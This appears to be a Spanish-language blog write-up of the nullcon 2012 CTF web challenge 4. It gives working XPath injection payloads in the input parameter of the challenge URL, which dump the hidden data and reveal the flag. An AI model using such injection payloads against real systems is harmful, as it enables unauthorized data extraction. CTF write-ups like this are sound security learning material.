CTF #nullcon 2012: Web 4

nullcon1.jpg

En esta prueba hice el primo por un buen rato. La pregunta que nos hacían:

Can You Get Me all the Data?

Y nos daban un par de enlaces 2007 (http://www.nullcon.net//challenge/wlevel-4-data.asp?input=2007) y 2002 (http://www.nullcon.net//challenge/wlevel-4-data.asp?input=2002).

Si pulsamos sobre el 2007 nos aparece:

DR. A.P.J. Abdul Kalam 25 July 2002 TO 25 July 2007

Volvemos atrás y pulsamos sobre 2002

Shri K. R. Narayanan 25 July 1997 TO 25 July 2002

Vemos que cada texto tiene un fecha inicial y una final. Jugando con el año y el parámetro input me doy cuenta que si metemos el parámetro a mano no vamos a ningún lado, incluso 2002 ó 2007. Típico caso del campo Referer de la cabecera. Pues como decía al principio me llevé haciendo el primo un rato, jugando con Burp y el dichoso parámetro hasta llegar a un callejón sin salida, sin flag y sin sus…

Era tarde y antes de irme a dormir, me dio por meter una “’” (comilla simple) y me aparecía un error en la pantalla: Query Failed

Ok, esto tiene mejor pinta. Parece que tenemos una inyección xpath. Y efectivamente haciendo esta llamada:

www.nullcon.net//challenge/wlevel-4-data.asp?input=' or count(//user/child::node()) or ''='

Nos aparecía en la pantalla:

DR. A.P.J. Abdul Kalam 25 July 2002 TO 25 July 2007
Shri K. R. Narayanan 25 July 1997 TO 25 July 2002
Dr Shankar Dayal Sharma 25 July 1992 TO 25 July 1997
Shri R Venkataraman 25 July 1987 TO 25 July 1992
Giani Zail Singh 25 July 1982 TO 25 July 1987
SHRI NEELAM SANJIVA REDDY 25 July 1977 TO 25 July 1982
Dr. Fakhruddin Ali Ahmed 24 August 1974 TO 11 February 1977
Shri Varahagiri Venkata Giri 24 August 1969 TO 24 August 1974 and 3 May 1969 TO 20 July 1969
Dr. Zakir Husain 13 May 1967 TO 3 May 1969
Dr. Sarvapalli Radhakrishnan 13 May 1962 TO 13 May 1967
Dr. Rajendra Prasad 26 January 1950 TO 13 May 1962

Todos los datos que anteriormente había sacado haciendo el lila. Y después de varios intentos más y no conseguir nada más que esos mismos datos, pensé que a lo mejor el flag estaba a un nivel superior y efectivamente con esta llamada:

http://www.nullcon.net//challenge/wlevel-4-data.asp?input=2002%27]/parent::node%28%29[%271

La página nos mostraba:

DR. A.P.J. Abdul Kalam 25 July 2002 TO 25 July 2007 Shri K. R. Narayanan 25 July 1997 TO 25 July 2002 Dr Shankar Dayal Sharma 25 July 1992 TO 25 July 1997 Shri R Venkataraman 25 July 1987 TO 25 July 1992 Giani Zail Singh 25 July 1982 TO 25 July 1987 SHRI NEELAM SANJIVA REDDY 25 July 1977 TO 25 July 1982 Dr. Fakhruddin Ali Ahmed 24 August 1974 TO 11 February 1977 Shri Varahagiri Venkata Giri 24 August 1969 TO 24 August 1974 and 3 May 1969 TO 20 July 1969 Dr. Zakir Husain 13 May 1967 TO 3 May 1969 Dr. Sarvapalli Radhakrishnan 13 May 1962 TO 13 May 1967 Dr. Rajendra Prasad 26 January 1950 TO 13 May 1962 Web Level 4 myworthinessisallmydoubthismeritallmyfearcontrastingwhichmyqualitydoeshoweverappear

Nuestro flag era: myworthinessisallmydoubthismeritallmyfearcontrastingwhichmyqualitydoeshoweverappear